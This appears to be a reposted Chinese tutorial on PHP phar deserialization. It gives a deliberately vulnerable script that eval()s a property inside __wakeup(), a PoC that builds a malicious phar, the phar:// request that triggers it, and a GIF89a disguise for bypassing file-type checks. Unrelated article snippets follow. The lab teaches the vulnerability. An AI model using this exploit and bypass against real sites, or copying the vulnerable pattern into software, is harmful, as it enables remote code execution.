反序列化漏洞(4), phar文件反序列化, 漏洞实验, 漏洞利用

一, 简介

1. phar文件

PHAR,全称PHP Archive,是一种将PHP代码和资源打包成一个自包含的文件的格式。这种文件格式可以将PHP代码文件和其他资源集合在一起,实现应用程序、库或插件的分发。在PHP中,Phar广泛应用于打包应用程序、库或插件,使得它们能在不同的环境中部署和共享变得轻松。

2. phar文件格式

PHAR文件是一种PHP应用程序的打包格式,它将多个文件和资源集合到一个文件中,以方便移动和安装。其文件结构主要由四部分组成:stub、manifest、文件内容和签名。

Stub: 它是phar文件的开头部分,可以包含一些自定义的PHP代码。Stub的基本结构是"

Manifest: 它包含了压缩文件的权限、属性以及序列化形式存储的用户自定义元数据等信息。Manifest是攻击的主要部分,因为解析Phar时会对元数据进行反序列化操作。

文件内容: 这一部分包含了实际的文件内容,比如脚本、图片等。

签名: 用于验证Phar文件的完整性和真实性。

3. phar漏洞

PHAR反序列化漏洞是一种基于PHP的反序列化漏洞。在一般情况下,反序列化漏洞通常是由于将序列化后的字符串传入unserialize()函数中产生的。
然而,PHP 5.3.3及更早版本的phar文件格式存在一个特性,即会以序列化的形式存储用户自定义的meta-data。

当phar文件在文件系统函数(如file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,攻击者有可能不依赖unserialize()函数直接进行反序列化操作。这种特性扩展了php反序列化漏洞的攻击面,使得攻击难度相对较低。因此,对phar反序列化漏洞的理解和防范显得尤为重要。

二, 漏洞实验

1. 准备后端脚本

漏洞脚本:

class User {var $name;function __wakeup(){@eval($this->name);}
}
$filename = $_GET['filename'];
file_exists($filename);
2. 编写poc脚本生成phar文件:
class User{var $name;// 通过构造方法修改属性值function __construct() {$this->name = 'phpinfo();';}
}// 删除之前的phar
@unlink("test.phar");   
// 创建phar文件
$phar = new Phar("test.phar");      
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
// 序列化对象到phar文件中
$o = new User();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "content");
$phar->stopBuffering();

执行poc后生成test.phar文件.

3. 漏洞利用

发送GET请求:

?filename=phar://test.phar/test.txt

后端的file_exists()函数会触发phar文件的反序列化操作, 自动执行__wakeup()方法.

三, 绕过文件类型检测

后端可能对伪协议加载的文件类型进行检测, 通过文件头信息检测文件的类型.
php解析phar文件是通过文件头stub中的"<?php __HALT_COMPILER(); ?>"代码, 在前后添加字符不影响解析.
那么编写poc时可以在开头添加一段信息伪装成其他类型的文件, 比如GIF图片GIF89a:

$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");

然后将生成的phar文件修改后缀名为 test.gif, 再利用:

?filename=phar://test.gif/test.txt

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/154397.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Unity - 实现模型动态伸长缩短,贴图不变形(材质球参数篇)

思路为修改模型材质球的Tiling参数&#xff0c;根据与自身localScale的值得到合适的比例&#xff0c;再修改Tiling值 var mat target.transform.GetComponent<Renderer>().material; var oriValue mat.mainTextureScale;//沿着Y轴伸缩 oriValue.y 1 * target.transfo…

人脸识别系统——Face recognition 人脸识别

第1关&#xff1a;人脸检测 ****************BEGIN**************** import face_recognition image_path ./step1/image/children.jpg image face_recognition.load_image_file(image_path) face_locations face_recognition.face_locations(image) print(face_locations)…

HCIP-二、MSTP+Eth-trunk

二、MSTPEth-trunk 实验拓扑实验需求及解法 实验拓扑 实验需求及解法 //1.如图所示&#xff0c;配置设备名称和 IP 地址。 //2.在 SW1 与 SW2 之间配置链路聚合协议 LACP&#xff0c;完成以下需求&#xff1a; //2.1 SW1 作为主动端&#xff0c;设置系统优先级为最高。 [SW1]l…

报错!Jupyter notebook 500 : Internal Server Error

Jupyter notebook 报错 500 : Internal Server Error 问题背景 tensorflow-gpu环境&#xff0c;为跑特定代码专门开了一个环境&#xff0c;使用conda安装了Jupyter notebook&#xff0c;能够在浏览器打开Jupyter notebook&#xff0c;但是notebook打开ipynb会报错。 问题分析…

Android——Gradle插件项目根目录settings.gradle和build.gradle

一、settings.gradle结构分析 项目根目录下的settings.gradle配置文件示例&#xff1a; pluginManagement {/*** The pluginManagement.repositories block configures the* repositories Gradle uses to search or download the Gradle plugins and* their transitive depen…

【excel技巧】单元格内的公式如何隐藏?

Excel文件中最重要的除了数据还有就是一些公式了&#xff0c;但是只要点击单元格&#xff0c;公式就能显示出来&#xff0c;如果不想别人看到公式应该如何设置呢&#xff1f;今天分享隐藏excel单元格数据的方法。 选中单元格&#xff0c;点击右键打开【设置单元格格式】&#x…

电脑显示找不到mfc140.dll怎么办?哪个修复方法值得推荐

在电脑使用过程中&#xff0c;我们经常会遇到一些错误提示&#xff0c;例如"mfc140.dll文件缺失"这个问题可能会导致某些应用程序无法正常运行&#xff0c;可能给您带来困扰。本篇文章为您提供了六种有效解决此类问题的策略&#xff0c;使您能够迅速修复并恢复应用程…

查看docker容器IP地址

方法一&#xff1a; 进容器里面ip add 方法二&#xff1a; docker network inspect bridge [rootmabos grafana]# docker network inspect bridge [{"Name": "bridge","Id": "1e9bbb6dbcc13bab41c4a6f52f032275a0e84f58809c27d7dab99…

一篇文章带你了解Python常用自动化测试框架 —— Pytest

在之前的文章里我们已经学习了Python自带测试框架UnitTest&#xff0c;但是UnitTest具有一定的局限性 这篇文章里我们来学习第三方框架Pytest&#xff0c;它在保留了UnitTest框架语法的基础上有着更多的优化处理 下面我们将从以下角度来介绍Pytest&#xff1a; Pytest基本介绍…

mac系统安装docker desktop

Docker的基本概念 Docker 包括三个基本概念: 镜像&#xff08;Image&#xff09;&#xff1a;相当于是一个 root 文件系统。比如官方镜像 ubuntu:16.04 就包含了完整的一套 Ubuntu16.04 最小系统的 root 文件系统。比如说nginx,mysql,redis等软件可以做成一个镜像。容器&#…

什么是高防CDN?有什么优势?

德迅高防CDN技术概述 随着互联网的快速发展&#xff0c;网络安全问题越来越受到人们的关注。高防CDN(Content Delivery Network)作为一种有效的网络安全防御手段&#xff0c;在企业和个人网站中得到了广泛应用。本文将详细介绍高防CDN的技术原理、防御原理、优点和应用场景&am…

如何验证命令执行漏洞(无回显)

如何验证命令执行漏洞&#xff08;无回显&#xff09; 使用yakit&#xff0c;选择dnslog模块 点击生成一个可用域名 以dvwa为例 命令执行ping一下刚才的域名 随后yakit中会出现回显信息&#xff0c;以此证明拥有命令执行漏洞 信息&#xff0c;以此证明拥有命令执行漏洞

【Java】乡镇卫生院、社区卫生服务中心云HIS源码

云HIS采用云端SaaS服务的方式提供&#xff0c;用户通过浏览器即能访问&#xff0c;无需关注系统的部署、维护、升级等问题&#xff0c;系统充分考虑了模板化、配置化、智能化、扩展化等设计方法&#xff0c;覆盖了基层医院机构的主要工作流程&#xff0c;能够与监管系统有序对接…

Java查询数据放入word模板中并在前端导出下载

需求&#xff1a;查询数据放入word模板中并在前端导出下载 解决方法&#xff1a;在模板的位置定义参数如 {{name}} {{age}}等等&#xff0c;使用 poi 处理 伪代码&#xff1a; PostMapping("/practiceAppr")public AjaxResult practiceAppr(OutputStream outputSt…

TensorFlow实战教程(十八)-Keras搭建卷积神经网络及CNN原理详解

从本专栏开始,作者正式研究Python深度学习、神经网络及人工智能相关知识。前一篇文章详细讲解了Keras实现分类学习,以MNIST数字图片为例进行讲解。本篇文章详细讲解了卷积神经网络CNN原理,并通过Keras编写CNN实现了MNIST分类学习案例。基础性文章,希望对您有所帮助! 一…

linux中实现自己的bash

&#x1f436;博主主页&#xff1a;ᰔᩚ. 一怀明月ꦿ ❤️‍&#x1f525;专栏系列&#xff1a;线性代数&#xff0c;C初学者入门训练&#xff0c;题解C&#xff0c;C的使用文章&#xff0c;「初学」C &#x1f525;座右铭&#xff1a;“不要等到什么都没有了&#xff0c;才下…

c语言编程题经典100例

以下是一些经典的C语言编程题目&#xff0c;这些题目可以帮助你提高C语言编程技能&#xff1a; 交换两个变量的值判断一个数是否为素数反转一个字符串计算一个数的阶乘计算一个数的平方计算一个数的立方计算一个数的对数计算一个数的倒数求一个数组中所有元素的和求一个数组中…

大语言模型领域的重要术语解释

前言 本人对人工智能非常感兴趣&#xff0c;目前是一名初学者&#xff0c;在研究大语言模型的一些内容。很多模型都是用英文提出的&#xff0c;其中也包括很多概念&#xff0c;有些概念的中文翻译和其想表达的意思不完全一样&#xff0c;所以在这里&#xff0c;想更加精准地帮…

vite vue3配置axios

准备 参考 安装axios yarn add axios中文官网 src下新建request文件夹&#xff0c;该文件下新建index.ts import axios from axios; import { ElMessage } from element-plus;// const errorCodeType function (code: number): string { // let errMessage: string 未知…

SAP的一些当说不说的常识

ABAP中的WDA与FRMbopf restful和odata postman软件 SAP中MM模块相关 SAP 物料 移动类型 https://www.cnblogs.com/rainysblog/p/4133259.html T移动类型文本含义一般用途T-code101GR 收货直接收货工单入库&#xff0c;购买成品入库MIGO/CO11N102用于PO冲销的收货冲销直接…